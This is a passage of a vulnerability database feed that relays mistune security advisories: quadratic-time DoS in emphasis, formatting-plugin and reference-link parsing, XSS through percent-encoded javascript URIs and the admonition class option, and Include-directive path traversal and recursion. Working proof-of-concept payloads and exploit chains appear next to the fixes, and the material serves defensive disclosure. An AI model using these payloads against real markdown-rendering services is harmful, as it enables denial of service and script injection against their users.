`mark`, or `insert` plugin enabled, an 8 KB input pegs the CPU for ~4 seconds; 16 KB → ~17 seconds. \n**File:** `src/mistune/plugins/formatting.py`, lines 13-15 (the `_STRIKE_END` / `_MARK_END` / `_INSERT_END` patterns and their per-position scan).\n**Root cause:** for each opening `~~`/`==`/`^^` the parser scans forward for the matching close pattern. The scan itself uses a bounded regex, but the parser tries the close-scan at every potential start position. For input shaped like `~~x~~` repeated N times, every `~~` is examined as a possible start, each scan covers up to the end of input. Total work is O(N²). Default config without these plugins handles the same input in linear time (4 ms for 4000 reps), confirming the cost is in the formatting plugin's per-marker scan, not in core parsing.\n\n## Affected Code\n\n**File:** `src/mistune/plugins/formatting.py`, lines 12-16.\n\n```python\n_STRIKE_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\~|[^\\s~])~~(?!~)\")\n_MARK_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\=|[^\\s=])==(?!=)\")\n_INSERT_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\^|[^\\s^])\\^\\^(?!\\^)\")\n# Each pattern is scanned forward from every start position fired by the\n# corresponding inline rule. The end-pattern itself is bounded; the cost\n# comes from the surrounding parser invoking the scan at every '~~' / '==' / '^^'\n# token in the input, giving N starts × O(N) per scan = O(N^2) total.\n```\n\n**Why it's wrong:** the same algorithmic-complexity flaw class as `[` / `[a` parsing in core: a per-token retry loop without memoisation of failed positions. Each formatting marker is tried as both a potential start and as a continuation. A linear-pass delimiter-stack algorithm (matching how `commonmark-py` and `markdown-it-py` handle emphasis) would do this work in O(N) total. The bounded regex on each individual scan does not bound the parser-level repetition.\n\n## Exploit Chain\n\n1. Application uses mistune to render user-supplied markdown and has any of the formatting plugins enabled (`plugins=['strikethrough']`, `['mark']`, `['insert']`, or any superset). These plugins are commonly enabled because GitHub-flavoured-Markdown compatibility requires `~~strikethrough~~` and many editors emit `==highlighting==` and `^^underline^^` shortcuts.\n2. Attacker submits an 8 KB markdown payload of the form `~~x~~~~x~~~~x~~...` (40 000 characters of `~~x~~` repeated 8000 times, or the analogous shape with `==` / `^^`).\n3. Server calls `mistune.create_markdown(plugins=['strikethrough'])(payload)`. CPU pegs for ~4 seconds; 16 KB → ~17 seconds; 32 KB → ~70 seconds. Pure CPU cost, no significant memory growth.\n4. Repeating the request floods the worker pool. On a single-thread WSGI handler this is one request per outage; on a thread pool, a small number of concurrent attackers exhausts capacity.\n\n## Security Impact\n\n**Severity:** sec-high. Network-reachable, no authentication, predictable scaling, single-payload primitive. Only requires a user-supplied markdown sink and a formatting plugin enabled — both are common.\n**Attacker capability:** small input → large CPU. Doubling input size quadruples CPU time. Sustained requests deny service to other users.\n**Preconditions:** application uses mistune with any of `strikethrough`, `mark`, or `insert` plugins enabled. Default config does NOT enable these (so the attack only fires against the substantial deployed population that turns them on for GFM/markdown-extra compatibility).\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown(plugins=['strikethrough'])\nfor n in [500, 1000, 2000, 4000, 8000]:\n    s = '~~x~~' * n\n    t = time.time()\n    md(s)\n    print(f'  ~~x~~ * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   ~~x~~ *  500  (2500b):    19ms\n#   ~~x~~ * 1000  (5000b):    71ms\n#   ~~x~~ * 2000 (10000b):   272ms\n#   ~~x~~ * 4000 (20000b):  1090ms\n#   ~~x~~ * 8000 (40000b):  4302ms\n\n# Identical scaling for `==x==` (mark) and `^^x^^` (insert):\nmd = mistune.create_markdown(plugins=['mark'])\nmd('==x==' * 4000)   # ~1100ms\nmd = mistune.create_markdown(plugins=['insert'])\nmd('^^x^^' * 4000)   # ~1080ms\n\n# Without the plugin, the same input parses in linear time:\nmd = mistune.create_markdown()  # no plugins\nmd('~~x~~' * 4000)               # 4ms (1000x faster)\n```\n\nThe patched build (with the suggested fix below — either a delimiter-stack rewrite or a hard cap on the number of unmatched markers tracked) keeps the time linear in N.\n\n## Suggested Fix\n\nThe minimal fix is to cap the number of simultaneously-tracked unmatched markers, treating extras as literal text. The proper fix is a single-pass delimiter-stack algorithm matching the CommonMark reference implementation. Surgical patch:\n\n```diff\n--- a/src/mistune/plugins/formatting.py\n+++ b/src/mistune/plugins/formatting.py\n@@ ... in the parse_strikethrough / parse_mark / parse_insert functions\n+    # Bound the number of open markers the parser will track concurrently.\n+    # Inputs with more than this many open ~~ / == / ^^ in flight are\n+    # almost certainly adversarial; CommonMark gives no semantics to\n+    # deeply nested unmatched markers.\n+    MAX_OPEN_MARKERS = 100\n+    if open_marker_count > MAX_OPEN_MARKERS:\n+        # treat remaining markers as literal text, do not invoke the\n+        # forward-scan to find a close\n+        ...\n```\n\nA regression test should assert that `md('~~x~~' * 50_000)` completes in under 1 second. The same fix shape applies to `_MARK_END` and `_INSERT_END`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-c8j7-8cv4-2xmq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59922"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/96d0f57f8fe9eeb06bb4cff521962a27d7c402e7"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2210.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59923","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-8c25-4j27-2rv3","CVE-2026-59923","PYSEC-2026-2211"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune: XSS via percent-encoded javascript URI bypass in safe_url()","details":"### Summary\nAn XSS vulnerability in Mistune allows bypassing of safe_url() protections via percent-encoded javascript URIs.\n\n\n### Details\nThe vulnerability exists in HTMLRenderer.safe_url() in Mistune.\n\nThe function is intended to block harmful URL schemes such as \"javascript:\" by checking the prefix of the provided URL:\n\n    _url = url.lower()\n    if _url.startswith(self.HARMFUL_PROTOCOLS):\n        return \"#harmful-link\"\n\nHowever, the input URL is not URL-decoded before this check. Because of this, an attacker can use percent-encoding to bypass the filter. For example:\n\n    javascript%3Aalert(1)\n\nSince \"%3A\" is not decoded to \":\", the check does not detect the \"javascript:\" scheme.\n\nWhen rendered in a browser, the URL is decoded, resulting in execution of arbitrary JavaScript upon user interaction.\n\nThis effectively bypasses Mistune's built-in safe_url() protection mechanism.\n\n\n\n### PoC\n1. Install vulnerable version:\n\n    pip install mistune==3.2.0\n\n2. Run the following code:\n\n    import mistune\n\n    markdown = mistune.create_markdown()\n    html = markdown(\"[j](javascript%3Aalert(1))\")\n\n    print(html)\n\n3. Output:\n\n    <p><a href=\"javascript%3Aalert(1)\">j</a></p>\n\n4. Open the rendered HTML in a browser and click the link.\n\n5. The browser decodes \"%3A\" into \":\" and executes:\n\n    javascript:alert(1)\n\n\n### Impact\nThis is a cross-site scripting (XSS) vulnerability.\n\nAn attacker can craft a malicious Markdown link that executes JavaScript in the victim's browser when clicked.\n\nImpact includes:\n- Session hijacking (e.g., cookie theft)\n- Execution of arbitrary JavaScript in the victim's context\n- Potential account takeover depending on the application\n\nThis affects any application that renders user-controlled Markdown using Mistune without additional URL sanitization.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8c25-4j27-2rv3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59923"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2211.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59924","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-r4rv-85jg-w4mf","CVE-2026-59924","PYSEC-2026-2212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune: Arbitrary File Read via Include directive path traversal","details":"### Summary\n\nA path traversal issue exists in mistune's `Include` directive when markdown files are processed using `md.read()`. A crafted include path can cause files outside the intended markdown directory to be accessed.\n\n### Details\n\nThe issue occurs in the `Include.parse()` method where user-supplied paths are joined and normalized without verifying that the resulting path remains within an expected directory.\n\n```python\nrelpath = self.parse_title(m)\ndest = os.path.join(os.path.dirname(source_file), relpath)\ndest = os.path.normpath(dest)\n```\n\nBecause the final path is not restricted to a trusted base directory, path traversal sequences such as `../` may reference files outside the intended location.\n\n### Proof of Concept\n\nCreate a markdown file:\n\n```markdown\n.. include:: ../../../example.txt\n```\n\nProcess it using:\n\n```python\nimport mistune\nfrom mistune.directives import RSTDirective, Include\n\nmd = mistune.create_markdown(\n    plugins=[RSTDirective([Include()])]\n)\n\nresult, state = md.read(\"test.md\")\nprint(result)\n```\n\n### Impact\n\nApplications that process untrusted markdown files with the `Include` directive enabled may allow unintended file access. The impact depends on how the feature is used and what files are accessible to the running process.\n\n### Recommended Fix\n\nValidate the resolved path and ensure it remains within an allowed directory before opening the file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-r4rv-85jg-w4mf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59924"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/1bef343ade163fc3bb95572b15be720084cdb993"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2212.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59925","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-4j32-57v6-6g45","CVE-2026-59925","PYSEC-2026-2213"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune inline_parser: quadratic-time parsing on long runs of `**x**` and `***x***` emphasis pairs","details":"## Summary\n\n**Type:** Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed `**x**` (strong) or `***x***` (strong-emphasis combined) pairs causes O(N²) parser work. Distinct from the bracket-bomb DoS (`[` repetition) and from the formatting-plugin DoS (`~~`/`==`/`^^`); this one fires on default-config mistune with no plugins required.\n**File:** `src/mistune/inline_parser.py` lines 41-48 (the `EMPHASIS_END_RE` family) and the surrounding emphasis dispatch.\n**Root cause:** for every opening run of `*`s the parser scans forward using one of `EMPHASIS_END_RE['*']` / `['**']` / `['***']` to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped `**x**` repeated N times, every `**` is treated as a potential start, each scan can cover up to the end of input. Total work is O(N²). The triple-emphasis variant `***x***` is slightly worse due to the extra alternation between `*`, `**`, and `***` close patterns. Reproducible against default mistune with no plugins.\n\n## Affected Code\n\n**File:** `src/mistune/inline_parser.py`, lines 41-48.\n\n```python\nEMPHASIS_END_RE = {\n    \"*\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*(?!\\*)\"),\n    \"_\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])_(?!_)\\b\"),\n    \"**\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*(?!\\*)\"),\n    \"__\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])__(?!_)\\b\"),\n    \"***\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*\\*(?!\\*)\"),\n    \"___\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])___(?!_)\\b\"),\n}\n# Each of the six end-patterns is invoked from every emphasis open position\n# fired by the inline rule `r\"\\*{1,3}(?=[^\\s*])|\\b_{1,3}(?=[^\\s_])\"`. The\n# scan itself is bounded per call; the cost comes from the parser invoking\n# the scan at every matching open marker, giving O(N²) total work.\n```\n\n**Why it's wrong:** same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (`commonmark.js`, `commonmark-py`, `markdown-it-py` all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.\n\n## Exploit Chain\n\n1. Application uses mistune to render user-supplied markdown. No plugins required — affects the default `mistune.create_markdown()` configuration.\n2. Attacker submits a 40 KB payload of `**x**` repeated 8000 times.\n3. Server CPU pegs for ~4 seconds; 16 KB → ~17 seconds. Doubling input quadruples time.\n4. Repeating the request floods the worker pool.\n\n## Security Impact\n\n**Severity:** sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable.\n**Attacker capability:** O(N²) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. No plugins required.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()                     # no plugins\nfor n in [500, 1000, 2000, 4000, 8000]:\n    s = '**x**' * n\n    t = time.time()\n    md(s)\n    print(f'  **x** * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   **x** *  500  (2500b):    20ms\n#   **x** * 1000  (5000b):    74ms\n#   **x** * 2000 (10000b):   284ms\n#   **x** * 4000 (20000b):  1079ms\n#   **x** * 8000 (40000b):  4309ms\n\n# Triple-emphasis is similar:\nmd('***x***' * 4000)   # ~1500ms\n\n# Linear in N for non-emphasis input of comparable size:\nmd('xxxxx' * 8000)     # 1ms (4000x faster)\n```\n\nThe patched build (with the suggested fix below — delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear in N.\n\n## Suggested Fix\n\nCap the number of unmatched opening emphasis markers the parser will track simultaneously, treating the rest as literal text:\n\n```diff\n--- a/src/mistune/inline_parser.py\n+++ b/src/mistune/inline_parser.py\n@@ ... in the emphasis-handling code path\n+    # Bound the number of open emphasis markers tracked. CommonMark gives\n+    # no semantics to deeply nested unmatched emphasis; this cap turns the\n+    # parser-level O(N^2) into O(N) for adversarial inputs while preserving\n+    # behaviour on every realistic markdown document.\n+    MAX_OPEN_EMPHASIS = 100\n+    if open_emphasis_count > MAX_OPEN_EMPHASIS:\n+        # treat remaining * / _ as literal text\n+        ...\n```\n\nThe proper fix is a delimiter-stack pass, the same approach the formatting-plugin advisory and the bracket-bomb advisory recommend. All three DoS findings share the same algorithmic pattern; a single rewrite of the inline-token retry loop closes them together. Add a regression test asserting that `md('**x**' * 50_000)` completes in under 1 second.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-4j32-57v6-6g45"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59925"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/5de41fb8e527004dbc363e047a3c380c9288c74f"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2213.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59926","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-g97x-gvcm-x72h","CVE-2026-59926","PYSEC-2026-2214"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune: XSS via unescaped class option in Admonition directive","details":"In `src/mistune/directives/admonition.py`, the `render_admonition()` function concatenates the `:class:` option directly into the HTML class attribute without escaping (lines 63-68).\n\nThis allows attribute injection and XSS even when `HTMLRenderer(escape=True)` is used.\n\nThe directive name parameter is safe (validated against whitelist), but the class option comes from raw user input.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-g97x-gvcm-x72h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59926"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/a3cb6e5655308797e8be021d6c7b5bab13cbace2"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2214.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59927","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-8mpj-m6qm-5qr8","CVE-2026-59927","PYSEC-2026-2215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune directives/include: mutual `.. include::` recursion crashes the renderer with `RecursionError`, denial of service via two attacker-controlled markdown files","details":"## Summary\n\n**Type:** Uncontrolled recursion via mutual include. The `Include` directive checks for direct self-reference (`a.md` cannot include `a.md`), but does not detect indirect cycles. Two markdown files that include each other (`a.md` → includes `b.md` → includes `a.md`) cause unbounded recursion until Python's stack limit fires `RecursionError`. The exception propagates out of the renderer and crashes the calling code.\n**File:** `src/mistune/directives/include.py`, lines 33-37 (the self-include check is the only cycle-detection logic).\n**Root cause:** the include logic only compares `os.path.abspath(dest) == os.path.abspath(source_file)`. There is no per-render set of \"files already included\" that would catch transitive cycles. When `a.md` includes `b.md`, the recursive `block.parse(new_state)` call uses `dest` (b.md) as the new `__file__`, which then includes `a.md` (passing the self-check, because the immediate parent file is `b.md`, not `a.md`), which then includes `b.md`, and so on. Each recursion level adds Python frames; the default stack limit of 1000 frames trips after ~7-10 cycle iterations and Python raises `RecursionError`. Since the directive does not catch the exception, it propagates out of `Markdown.parse()` and surfaces in the calling code, crashing the request.\n\n## Affected Code\n\n**File:** `src/mistune/directives/include.py`, lines 28-54.\n\n```python\nrelpath = self.parse_title(m)\ndest = os.path.join(os.path.dirname(source_file), relpath)\ndest = os.path.normpath(dest)\n\nif os.path.abspath(dest) == os.path.abspath(source_file):       # <-- only catches direct self-include\n    return {\"type\": \"block_error\", \"raw\": \"Could not include self: \" + relpath}\n\nif not os.path.isfile(dest):\n    return {\"type\": \"block_error\", \"raw\": \"Could not find file: \" + relpath}\n\nwith open(dest, \"rb\") as f:\n    content = f.read().decode(encoding)\n\next = os.path.splitext(relpath)[1]\nif ext in {\".md\", \".markdown\", \".mkd\"}:\n    new_state = block.state_cls()\n    new_state.env[\"__file__\"] = dest\n    new_state.process(content)\n    block.parse(new_state)                                       # <-- recursive parse, no cycle tracking\n    return new_state.tokens\n```\n\n**Why it's wrong:** the cycle-detection check is one level deep. Multi-file cycles slip through trivially. Python's default recursion limit is 1000 frames, so a cycle of length 2 trips after a few hundred mutual includes; the exception is uncaught by the directive, propagating out of `Markdown.__call__()` and crashing whatever called it.\n\n## Exploit Chain\n\n1. Application uses mistune with the `Include` directive enabled. Application accepts user-supplied markdown files (CMS, wiki, multi-user documentation platform, note-taking app, CI/CD doc renderer).\n2. Attacker uploads two markdown files:\n   - `a.md`: `.. include:: b.md`\n   - `b.md`: `.. include:: a.md`\n3. Renderer is invoked on `a.md` (or any markdown that references this pair). `Include` directive includes `b.md`, which includes `a.md`, which includes `b.md`, ... Each recursion adds Python frames.\n4. After ~340 cycle iterations (depending on default `sys.setrecursionlimit(1000)` and the per-include frame depth), Python raises `RecursionError: maximum recursion depth exceeded`.\n5. The exception is not caught by the directive. It propagates through `block.parse`, through `Markdown.__call__`, and into the application's request handler. If the application doesn't catch it explicitly, the request errors out (HTTP 500 in web contexts, crash in CLI tools).\n\n## Security Impact\n\n**Attacker capability:** crash the rendering engine on demand by submitting any markdown that triggers the cycle. Repeated requests deny service. If the renderer is used in a hot path (per-page-view docs rendering, search-index regeneration, scheduled doc-export jobs), the cycle persists across the whole pipeline.\n**Preconditions:** application uses mistune with the `Include` directive enabled and renders user-supplied markdown that can reference other user-uploaded files. Attacker needs write access to two .md files in the include search path (or a single file including a known-recurring pair).\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport os, mistune\nfrom mistune.directives import RSTDirective, Include\n\nos.makedirs('/tmp/mistune-recur', exist_ok=True)\nwith open('/tmp/mistune-recur/a.md', 'w') as f:\n    f.write('A\\n\\n.. include:: b.md')\nwith open('/tmp/mistune-recur/b.md', 'w') as f:\n    f.write('B\\n\\n.. include:: a.md')\n\nmd = mistune.create_markdown(plugins=[RSTDirective([Include()])])\nstate = md.block.state_cls()\nstate.env['__file__'] = '/tmp/mistune-recur/a.md'\nmd.parse('.. include:: b.md', state=state)\n# RecursionError: maximum recursion depth exceeded\n```\n\nThe patched build (with the suggested fix below) returns a `block_error` token like the existing self-include check, instead of recursing forever.\n\n## Suggested Fix\n\nTrack included paths in `state.env` and reject any include that would re-enter a path already on the include stack:\n\n```diff\n--- a/src/mistune/directives/include.py\n+++ b/src/mistune/directives/include.py\n@@ -28,8 +28,18 @@ class Include(DirectivePlugin):\n         relpath = self.parse_title(m)\n-        dest = os.path.join(os.path.dirname(source_file), relpath)\n-        dest = os.path.normpath(dest)\n+        base = os.path.realpath(os.path.dirname(source_file))\n+        dest = os.path.realpath(os.path.join(base, relpath))\n+\n+        # Track include stack across recursive parses to detect cycles.\n+        include_stack = state.env.setdefault(\"__include_stack__\", [])\n+        if dest in include_stack or dest == os.path.realpath(source_file):\n+            return {\n+                \"type\": \"block_error\",\n+                \"raw\": \"Could not include (cycle): \" + relpath,\n+            }\n\n-        if os.path.abspath(dest) == os.path.abspath(source_file):\n-            return {\n-                \"type\": \"block_error\",\n-                \"raw\": \"Could not include self: \" + relpath,\n-            }\n@@ ... in the markdown-include branch ...\n+        include_stack.append(dest)\n+        try:\n+            new_state = block.state_cls()\n+            new_state.env[\"__file__\"] = dest\n+            new_state.env[\"__include_stack__\"] = include_stack\n+            new_state.process(content)\n+            block.parse(new_state)\n+            return new_state.tokens\n+        finally:\n+            include_stack.pop()\n```\n\nThis catches cycles of any length (`a → b → a`, `a → b → c → a`, etc.). Pair this with the path-containment fix from the LFI advisory and the HTML-extension fix from the include-XSS advisory; together those three patches make the `Include` directive safe to enable on user-supplied markdown.\n\nAdd a regression test asserting that a 2-cycle and a 3-cycle both produce `block_error` rather than `RecursionError`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8mpj-m6qm-5qr8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59927"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/1bef343ade163fc3bb95572b15be720084cdb993"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59928","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-ffq3-xpv3-j92q","CVE-2026-59928","PYSEC-2026-2216"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions","details":"## Summary\n\n**Type:** Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N²) parser time. 5000 repeated `[a]: u\\n` definitions take ~1.1 second; 10000 → ~4.5 seconds.\n**File:** `src/mistune/block_parser.py` (reference-link def parsing) and the surrounding `ref_links` env-dictionary handling.\n**Root cause:** every reference definition is parsed by scanning forward from each candidate position. The `unikey` normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N²).\n\n## Affected Code\n\n`src/mistune/block_parser.py` — reference-definition rule fires on every line that matches `[label]: url`. For each one:\n- `unikey(label)` is called (linear scan of the label).\n- The def is appended to `state.env['ref_links']`.\n- Later inline-link resolution looks up by `unikey(label)` in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.\n\nThe cumulative parse time grows as the square of the number of defs.\n\n**Why it's wrong:** the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).\n\n## Exploit Chain\n\n1. Application uses mistune to render attacker-supplied markdown. No plugins required.\n2. Attacker submits a 35 KB document of `[a]: u\\n` repeated 5000 times followed by `[click][a]`.\n3. CPU pegs for ~1.1 seconds. 10000 defs → ~4.5 s. 20000 → ~18 s. Doubling input quadruples time.\n\n## Security Impact\n\n**Attacker capability:** small input → large CPU. Predictable scaling. Can be repeated.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. Worth noting: the `ref_links` dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()\nfor n in [1000, 2000, 5000, 10000]:\n    s = '[a]: u\\n' * n + '[click][a]'\n    t = time.time()\n    md(s)\n    print(f'  ref defs * {n} ({len(s)}b): 